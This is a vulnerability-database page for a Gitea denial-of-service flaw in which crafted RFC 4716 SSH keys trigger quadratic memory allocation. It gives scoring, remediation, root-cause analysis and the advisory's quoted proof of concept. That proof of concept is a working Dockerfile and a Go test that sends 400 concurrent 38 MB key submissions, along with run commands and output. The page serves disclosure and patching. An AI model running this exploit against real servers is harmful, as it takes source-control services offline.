Skip to main content

Gitea EUVDEUVD-2026-58144

| CVE-2026-56657 MEDIUM
Uncontrolled Resource Consumption (CWE-400)
2026-07-21 https://github.com/go-gitea/gitea GHSA-4xjf-493q-98p3
6.2
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain any valid Gitea user credential or register new account
  2. Delivery
    Craft RFC 4716 SSH2 key with 400K+ padding lines (~38 MB)
  3. Exploit
    POST crafted key to /api/v1/user/keys with Bearer token
  4. Execution
    Trigger O(N²) string concatenation in parseKeyString
  5. Persist
    Heap memory exhausted by quadratic allocations
  6. Impact
    Gitea process killed by OOM, instance taken offline

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid authenticated session or API Bearer token for any Gitea user account - no elevated privileges, administrative rights, or special group membership are needed. The vulnerable code path is reachable via the standard SSH key registration feature (POST /api/v1/user/keys), which is enabled by default in Gitea installations that support SSH access. On instances with open user registration, an attacker can self-register an account to satisfy the authentication requirement with no prior access. Exploitation is limited by: (1) mandatory user authentication - unauthenticated requests cannot trigger the flaw; (2) the Gitea instance must have SSH key management enabled (the default); and (3) maximum impact requires concurrent request volume, though a single sufficiently large payload can also exhaust resources given enough server RAM.

Impact

No official CVSS score was assigned, so risk is assessed from the vulnerability description, exploitation mechanics, and PoC evidence. Attack vector is network, complexity is low, and only a standard authenticated session is required - no elevated privileges or special roles. The impact is complete availability loss: the PoC demonstrates that 400 concurrent workers each submitting a 38.5 MB payload can exhaust a 12 GB container within one second. This is not a high-CVSS-but-low-real-world-risk scenario - the PoC is fully packaged, the preconditions are minimal, and the operational impact (full service outage for a source-control platform) is severe. EPSS data is absent for this CVE, but the low barrier to exploitation suggests a meaningful probability of near-term targeting. The primary mitigating factor is that unauthenticated exploitation is not possible; however, on Gitea instances with open registration, account acquisition is trivial. No CISA KEV listing exists at time of analysis, so confirmed in-the-wild exploitation has not been reported.

Exploit ScenarioDerived

An attacker registers or compromises any Gitea user account, then issues a POST request to /api/v1/user/keys with a Bearer token and a JSON body containing a well-formed SSH2 header followed by 400,000 lines of 100-character padding (~38.5 MB total). A single such request triggers the O(N²) allocator in parseKeyString and can consume tens of gigabytes of heap on the server; dispatching a few hundred concurrent requests amplifies the effect to exhaust even well-provisioned servers in under one second. A Docker-packaged, end-to-end functional PoC is documented in the Gitea security advisory and can be run with a single docker run command.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Remote denial-of-service in Gitea versions prior to 1.27.0 allows any authenticated user to crash the server by exploiting an O(N²) string concatenation flaw in the RFC 4716 SSH key parser. Submitting a single crafted SSH2 public key with hundreds of thousands of short content lines forces quadratic heap allocation that exhausts CPU and RAM within seconds, taking the entire Gitea instance offline. A functional, Docker-packaged proof-of-concept is publicly available per the Gitea security advisory; no active exploitation has been confirmed in CISA KEV, but the trivially low barrier - any valid user account suffices - elevates real-world risk considerably.

RemediationAI

Upgrade to Gitea 1.27.0, which resolves the O(N²) parser flaw. The release is available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. For installations that cannot immediately upgrade, deploy a reverse proxy with a request body size limit ahead of the Gitea API - for example, nginx client_max_body_size 1m - to reject oversized key payloads before they reach parseKeyString; note that limits set too aggressively may block legitimate large SSH or PGP key submissions, so tune carefully. Additionally, rate-limit POST /api/v1/user/keys per token or IP at the proxy layer to reduce the concurrent-amplification scenario demonstrated in the PoC. If SSH key self-registration by ordinary users is not operationally required, disabling that feature in Gitea's admin settings eliminates the attack surface entirely. On publicly accessible instances with open registration, tightening registration controls (invite-only or admin-approved accounts) removes the easiest path to obtaining the authenticated session needed to exploit the flaw.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go gitea.dev fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea (pkg:go/code.gitea.io/gitea) is a self-hosted Git service written in Go. The SSH key ingestion flow at POST /api/v1/user/keys calls CreateUserPublicKey → CheckPublicKeyString → parseKeyString (models/asymkey/ssh_key_parse.go:60-79). Within parseKeyString, the RFC 4716 (SSH2) branch accumulates key body lines via the Go idiom keyContent += line. Because Go strings are immutable, each concatenation allocates a new backing array equal to the full accumulated string and copies all existing data into it. For N input lines the total bytes allocated is N*(N+1)/2 - O(N²) in both time and heap. Critically, the validity check that would reject a non-key runs only after the full quadratic work completes, meaning the allocation storm cannot be short-circuited by early rejection. The root cause is CWE-400 (Uncontrolled Resource Consumption): neither the web form struct (services/forms/user_form.go:308-317) nor the API request struct (modules/structs/repo_key.go:33-49) enforces any payload size limit, leaving the parser exposed to arbitrarily large input.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 6.2 MEDIUM
AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 6.5 MEDIUM

Network-reachable API, low complexity, any authenticated user (PR:L); impact is total availability loss with no confidentiality or integrity effect.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Red Hat 6.5 MEDIUM

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

1
CVSS changed
Aug 13, 2026 - 19:22 NVD
6.2 (MEDIUM)

DescriptionCVE.org

Gitea's SSH key ingestion endpoint accepts keys in RFC 4716 (SSH2) format and normalises them before storage. The normalisation function contains an O(N²) string concatenation loop with no input size limit, meaning a single malicious key submission can force the server to perform an amount of work that grows quadratically with the size of the input. Any authenticated user can exploit this to exhaust the server's CPU and memory, taking the instance offline.

Root Cause

An attacker sends a POST /api/v1/user/keys request with a Bearer token and a JSON body whose key field contains a malicious RFC 4716 (SSH2) public key. The key consists of a valid SSH2 header followed by a very large number of short content lines - for example, 400,000 lines of 100 characters each (~38 MB total).

The request reaches CreateUserPublicKey with no prior size check:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/key.go#L201-L212

This calls CheckPublicKeyString which immediately calls parseKeyString. Inside parseKeyString, the SSH2 branch splits the input on newlines and accumulates the key body one line at a time using keyContent += line:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/models/asymkey/ssh_key_parse.go#L60-L79

Because Go strings are immutable, each += at line 77 allocates a new backing array and copies the entire accumulated string into it. For N lines the total bytes copied is N*(N+1)/2, making the operation O(N²) in both time and allocations. The validity of the key is only checked after the loop completes, so the entire quadratic work is performed regardless of whether the input is a real SSH key.

This is only possible because neither the web form field nor the API struct carries a size constraint:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/forms/user_form.go#L308-L317

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/structs/repo_key.go#L33-L49

PoC

To reproduce, clone gitea and checkout commit 9155a81b9daf1d46b2380aa91271e623ac947c1e. Then create the following files from the gitea root directory:

poc/Dockerfile

docker
FROM golang:1.26-alpine AS builder

RUN apk add --no-cache git build-base

WORKDIR /gitea
# Download deps in a separate layer so rebuilds are fast after source changes.
COPY go.mod go.sum ./
RUN go mod download
# Copy full source (needed for fixtures, config templates, and compilation).
COPY . .
# Compile the integration test binary.
# modernc sqlite (pure Go, no CGO needed) is the default driver.
RUN CGO_ENABLED=0 go test -c \
      -o /integration.test \
      gitea.dev/tests/integration
# ── runtime image ────────────────────────────────────────────────────────────
FROM alpine:3.22
# git is required at runtime: the test framework initialises git repos.
RUN apk add --no-cache git

COPY --from=builder /integration.test /integration.test
# Keep the full source at /gitea so runtime.Caller(0) path resolution works
# and fixtures / config templates are accessible.
COPY --from=builder /gitea /gitea

RUN adduser -D -u 1000 poc && chown -R poc:poc /gitea

WORKDIR /gitea

USER poc

ENTRYPOINT ["/integration.test", \
            "-test.run", "TestDoSSSHKeyParserOOM", \
            "-test.v", \
            "-test.timeout", "600s"]

tests/integration/poc_dos_test.go

go
package integration

import (
	"fmt"
	"runtime"
	"runtime/debug"
	"strings"
	"sync"
	"sync/atomic"
	"testing"
	"time"

	auth_model "gitea.dev/models/auth"
	api "gitea.dev/modules/structs"
	"gitea.dev/tests"
)

func TestDoSSSHKeyParserOOM(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	// Raise the GC trigger so intermediate strings accumulate faster,
	// matching realistic server behaviour under sustained allocation load.
	debug.SetGCPercent(400)

	// Log in as an ordinary user - no special privileges needed.
	session := loginUser(t, "user1")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteUser)

	const (
		numLines     = 400_000
		charsPerLine = 100
		numWorkers   = 400
	)

	var sb strings.Builder
	sb.WriteString("---- BEGIN SSH2 PUBLIC KEY ----\n")
	sb.WriteString("Comment: dos\n")
	line := strings.Repeat("a", charsPerLine) + "\n"
	for i := 0; i < numLines; i++ {
		sb.WriteString(line)
	}
	sb.WriteString("---- END SSH2 PUBLIC KEY ----\n")
	payload := sb.String()

	peakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 << 30)
	t.Logf("payload=%.1f MB  workers=%d  peak_theory=%.1f GB",
		float64(len(payload))/(1<<20), numWorkers, peakGB)

	// Each goroutine marshals its own JSON body. The bytes live in req.Body
	// for the entire duration of MakeRequest, so numWorkers concurrent
	// goroutines hold numWorkers × payload_size bytes simultaneously.
	// With numWorkers=400 and payload=38.5 MB: 400 × 38.5 MB = 15.4 GB → OOM.
	var (
		wg    sync.WaitGroup
		done  atomic.Int64
		ready = make(chan struct{})
		start = time.Now()
	)

	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go func(id int) {
			defer func() { done.Add(1); wg.Done() }()
			<-ready

			req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{
				Title: fmt.Sprintf("dos-%d", id),
				Key:   payload,
			}).AddTokenAuth(token)

			MakeRequest(t, req, NoExpectedStatus)
		}(i)
	}

	go func() {
		var ms runtime.MemStats
		ticker := time.NewTicker(5 * time.Second)
		defer ticker.Stop()
		for range ticker.C {
			runtime.ReadMemStats(&ms)
			t.Logf("[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB",
				time.Since(start).Seconds(), done.Load(), numWorkers,
				float64(ms.HeapSys)/(1<<30), float64(ms.HeapAlloc)/(1<<30))
		}
	}()

	close(ready)
	wg.Wait()
	t.Logf("all done in %.1fs - container survived, increase numWorkers or numLines",
		time.Since(start).Seconds())
}

When you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:

sh
docker build -t gitea-dos-poc -f poc/Dockerfile .
docker run --rm --memory=12g --memory-swap=12g gitea-dos-poc

Which prints out:

=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)
    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta
    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)
    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)
    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB

... demonstrating high memory consumption. On my end, memory is consumed within 1 second.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Medium
popular self-hosted Git service, not universally deployed
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Small
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

51
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +31
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy